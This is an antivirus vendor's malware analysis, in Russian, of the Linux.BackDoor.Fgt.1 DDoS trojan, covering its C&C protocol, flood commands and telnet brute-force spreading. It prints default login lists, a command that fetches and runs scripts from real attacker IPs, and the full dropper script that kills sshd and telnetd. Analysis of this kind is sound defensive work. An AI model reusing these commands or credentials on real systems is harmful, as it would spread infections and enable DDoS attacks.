Поддержка
Круглосуточная поддержка

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Linux.BackDoor.Fgt.1

Добавлен в вирусную базу Dr.Web: 2014-11-17

Описание добавлено:

Троянская программа, способная заражать различные устройства, работающие под управлением ОС Linux. Существуют версии Linux.BackDoor.Fgt.1 для различных дистрибутивов Linux, в том числе встраиваемых систем для архитектур MIPS и SPARC. Предназначена для осуществления DDoS-атак.

В процессе инициализации на инфицированном устройстве Linux.BackDoor.Fgt.1 получает значение текущего времени и ID собственного процесса, применяет операцию XOR к полученным значениям и использует результат в качестве seed для генератора случайных чисел:

void __cdecl init_rand(DWORD seed)
{
  DWORD i; // [sp+Ch] [bp-4h]@1
  Q[0] = seed;
  Q[1] = seed - 0x61C88647;
  Q[2] = seed + 0x3C6EF372;
  for ( i = 3; i <= 4095; ++i )
  {
    Q[i] = Q[i - 2] ^ Q[i - 3] ^ i ^ 0x9E3779B9;
  }
}

Затем троянец проверяет наличие подключения к Интернету, обращаясь к одному из серверов Google (8.8.8.8:53). Если соединение удалось установить, вредоносная программа вызывает функции getsockname и ioctl с параметром SIOCGIFHWADDR, получая таким образом IP и MAC-адрес зараженного устройства.

После инициализации Linux.BackDoor.Fgt.1 пытается связаться с командным сервером, адрес которого «зашит» в теле самого троянца в одном из двух возможных вариантов:

aaa.bbb.ccc.ddd

или

aaa.bbb.ccc.ddd:port

В первом случае выполняется попытка подключения к порту 1776. После установки соединения Linux.BackDoor.Fgt.1 отправляет на командный сервер строку:

"BUILD %s\nPING"

где вместо %s используется ключевая фраза, обозначающая версию троянца, например, «NEW WORLD ORDER».

В ответ троянец получает от сервера буфер размером 4096 байт, удаляет из него пробелы в начале и в конце. Если буфер содержит команду PING, троянец отправляет на управляющий сервер ответ PONG и продолжает функционировать на инфицированном устройстве. При получении команды DUP Linux.BackDoor.Fgt.1 завершает свою работу.

Буфер имеет вид:

!string cmd arg_list\0

где string и cmd - ASCII строки, разделенные пробелом, arg_list - массив ASCII строк, разделенных пробелами или значением '\n'.

Если приведенная к заглавным буквам строка cmd совпадает со строкой "SH", то arg_list представляет собой команды для выполнения через "sh -c", а вывод команды будет скопирован управляющему серверу.

Иначе arg_list разбивается на подстроки (каждый символ пробела или переноса строки заменяется на \0) и формируется буфер команды:

char * pCmdBuffer[] = { cmd, arg0, arg1, ... };

где cmd - строка, содержащая команду, arg0, arg1,... - строки, обозначающие аргументы для команды.

Linux.BackDoor.Fgt.1 способен выполнять следующие команды:

КомандаОписаниеОтветФормат команды
"PING"Проверка связи"PONG"
"GETLOCALIP"Запрос IP инфицированного устройства"My IP: %s", вместо %s подставляется текстовое представление IP зараженного устройства
"SCANNER"Изменение состояния сканераЕсли команда пришла без доп. параметров, то "SCANNER ON | OFF",
Иначе, если доп. параметр "OFF", ответ не отсылается.
Иначе, если доп. параметр "ON", см. в секции SCANNER (ниже).
"DNS"DNS Amplification "DNS <target> <port (0 for random)> <time> <some data> <domain for resolving> <num of packets> "
"UDP"UDP Flood "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> (packet size, usually 0) (time poll interval, default 10)"
"TCP"SYN Flood "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)"
"JUNK"Генерация случайного трафика "JUNK <ip> <port> <time>"
"HOLD"Генерация случайного трафика "HOLD <ip> <port> <time>"
"RANDOM"UDP Flood "RANDOM <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> (packet size, usually 0) (time poll interval, default 10)"
"KILLATK"Остановить DDoS-атаку
"LOLNOGTFO"Завершить работу бэкдора

Троянец обладает специальной функцией, с использованием которой он в течение одного цикла осуществляет сканирование 256 IP-адресов удаленных устройств. Используется следующий алгоритм генерации списка адресов для последующего сканирования.

Троянец инициализирует массив из 256 структур st_scan_data и отправляет на сервер строку "Starting gayscan":

#pragma pack(push, 1)
struct st_scan_data
{
  _DWORD socket;
  _DWORD RndPublicIp;
  _BYTE state;
  _BYTE disconnected;
  _BYTE UsernameIndex;
  _BYTE PasswordsIndex;
  _DWORD time;
  _WORD pos;
  _BYTE *buffer;
};
#pragma pack(pop)
  1. Linux.BackDoor.Fgt.1 генерирует случайный внешний IP-адрес (не допускаются диапазоны 10.*.*.*, 127.*.*.*, 169.254.*.*, 100.64+,*.*, 172.16-.*.*, 192.0.2.*, 192.88.99.*, 192.168.*.*, 198.18.*.*, 198.19.*.*, 198.51.100.*, 203.0.113.*, 224+.*.*.*) и пытается установить соединение с ним. Если попытка завершается ошибкой, отправляет на управляющий сервер соответствующий отчет:
    "[%d:%d] socket couldn't init"
    "[%d:%d] socket dead, rip"
    где первый аргумент %d – номер структуры, а второй аргумент %d — IP адрес.
  2. Затем троянец устанавливает параметры сокета, в случае ошибки отправляет на управляющий сервер соответствующий отчет:
    "[%d:%d] couldn't select, rip"
    "[%d:%d] sockets are set up, commencing"
    где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи.
  3. Далее вредоносная программа читает данные от удаленного хоста и ищет там запрос ввода пары логин/пароль по строкам:
    "user"
    "login"
    "pass"
    "dvrdvs"
    "name"
    В случае удачи отправляет на управляющий сервер сообщение:
    "[%d:%d] login prompt found"
    где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи.
    или
    "[%d:%d] timed out"
    если в течение 10 секунд от удаленного узла не было получено искомых данных.
  4. Троянец отсылает на управляющий сервер следующую информацию:
    "[%d:%d] sending username %s [%s]"

    Аргументы: номер структуры, состояние, логин, пароль.

    Логин выбирается из следующего списка:

    "root"
    "admin"

    Пароль выбирается из следующего списка:

    "root"
    "admin"
    "12345"
    "" (пустая строка)
  5. В зависимости от возвращаемой атакуемым узлом ошибки на командный сервер могут быть отправлены следующие сообщения:
    "[%d:%d] couldn't send newline"
    "[%d:%d] couldn't send username"
    где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи.
  6. В ответе атакуемого хоста Linux.BackDoor.Fgt.1 ищет строки, сигнализирующие о запросе пароля. Если одна из строк найдена, то отправляет на управляющий сервер строку
    "[%d:%d] password prompt found"
    где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи.
  7. Троянец отправляет пароль хосту и сообщение на управляющий сервер:
    "[%d:%d] sending password %s [%s]"
    Аргументы: номер структуры, состояние, логин, пароль.

    В случае ошибки отправляет на управляющий сервер одно из следующих сообщений:

    "[%d:%d] couldn't send newline"
    "[%d:%d] couldn't send password"
    где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи.
  8. В отклике атакуемого хоста троянец ищет строки:
    "invalid"
    "incorrect"
    "fail"
    "again"
    "wrong"
    "accessdenied"
    "error"
    "bad"
    "success"
    "busybox"
    "shell"
    "dvrdvs"
    Если найдено совпадение, проверяет, имеются ли в ответе строки, сигнализирующие о неудачной попытке авторизации:
    "invalid"
    "incorrect"
    "fail"
    "again"
    "wrong"
    "accessdenied"
    "error"
    "bad"
    Если одна из них найдена, то вредоносная программа отправит на управляющий сервер строку:
    "[%d:%d] incorrect"
    где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи.
  9. Далее троянец отсылает на управляющий сервер строку:
    "[%d:%d] writing the gay echo -e"
    где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи.

    А атакуемому узлу отправляет команду echo:

    "echo -e '\\x67\\x61\\x79\\x66\\x67\\x74'\r\n"
    Если произошла ошибка, то отправляет управляющему серверу строку:
    "[%d:%d] error sending gayfgt confirmation"
    где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи.
  10. Троянец проверяет, что команда echo отработала, путем проверки ответа хоста на наличие строки "gayfgt". Далее отправляет на управляющий сервер строку:
    "[%d:%d] gayfgt found or timed out"
    где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи.

    И затем:

    "REPORT %s:%s:%s"
    где аргументы: IP хоста (к которому подобрана пара логин-пароль), логин, пароль.
  11. На управляющий сервер отправляется строка:
    "[%d:%d] shitting on your moms chest"
    где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи.

    А атакуемому хосту отправляется команда:

    cd /tmp/;
    busybox tftp 217.71.50.13 -c get bin3;
    sh bin3.sh;
    busybox tftp -r bin2.sh -g 217.71.50.13; 
    sh bin2.sh;
    busybox wget http://192.3.205.154/bin.sh; 
    sh bin.sh; 
    echo -e '\\x62\\x69\\x6e\\x66\\x61\\x67\\x74'\r\n
    Успешность выполнения команды проверяется наличием в отклике атакуемого узла строки "binfagt".

Затем пункты 1-11 повторяются для остальных 255 структур. Таким образом, за одно сканирование проверяется 256 случайных IP-адресов.

В случае успешной авторизации на атакованном узле троянец направляет на него команду загрузки специального скрипта, который, в свою очередь, скачивает из Интернета и запускает во взломанной системе исполняемый файл самого троянца Linux.BackDoor.Fgt.1:

#!/bin/sh
cd /tmp/
rm -f *
rm -rf /tmp/*
rm -rf /home/hik/* && cd /home/hik
rm -rf /var/run/*
sleep 5;
killall telnetx
killall mips
killall mipsel
killall arm
killall ppc
killall arm7
killall superh
killall i586
killall i686
killall sparc
killall .usb
sleep 5;
busybox wget http://192.3.205.154/mips;
cp /bin/busybox ./; cat mips > busybox; 
rm mips; cp busybox mips; 
rm busybox; ./mips && sleep 2
busybox wget http://192.3.205.154/mipsel; 
cp /bin/busybox ./; 
cat mipsel > busybox; rm mipsel; 
cp busybox mipsel; 
rm busybox; 
./mipsel && sleep 2
busybox wget http://192.3.205.154/arm; 
cp /bin/busybox ./; 
cat arm > busybox; rm arm; 
cp busybox arm; 
rm busybox; ./arm && sleep 3
#busybox wget http://192.3.205.154/arm7; 
#cp /bin/busybox ./; 
#cat arm7 > busybox; rm arm7; 
#cp busybox arm7; 
#rm busybox; 
#./arm7 && sleep 2
busybox wget http://192.3.205.154/ppc; 
cp /bin/busybox ./; 
cat ppc > busybox; rm ppc; 
cp busybox ppc; 
rm busybox; 
./ppc && sleep 3
busybox wget http://192.3.205.154/superh; 
cp /bin/busybox ./; 
cat superh > busybox; 
rm superh; 
cp busybox superh; 
rm busybox; 
./superh && sleep 2
busybox wget http://192.3.205.154/i586; 
cp /bin/busybox ./; 
cat i586 > busybox; 
rm i586; 
cp busybox i586; 
rm busybox; 
./i586 && 
sleep 2
busybox wget http://192.3.205.154/i686; 
cp /bin/busybox ./; 
cat i686 > busybox; rm i686; 
cp busybox i686; 
rm busybox; 
./i686 && 
sleep 2
busybox wget http://192.3.205.154/sparc; 
cp /bin/busybox ./; 
cat sparc > busybox; 
rm sparc; 
cp busybox sparc; 
rm busybox; 
./sparc && sleep 2
sleep 5;
rm -f *
sleep 5;
killall -9 sshd
killall -9 telnetd

Примечательно, что на принадлежащем вирусописателям сервере имеется значительное количество исполняемых файлов Linux.BackDoor.Fgt.1, скомпилированных для разных версий и дистрибутивов Linux, в том числе для встраиваемых систем с архитектурой MIPS и SPARC-серверов. Таким образом, троянец может инфицировать не только подключенные к Интернету серверы и рабочие станции под управлением Linux, но и другие устройства, например, маршрутизаторы.

Новость об угрозе

Рекомендации по лечению


Linux

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Демо бесплатно

На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

Скачать Dr.Web

По серийному номеру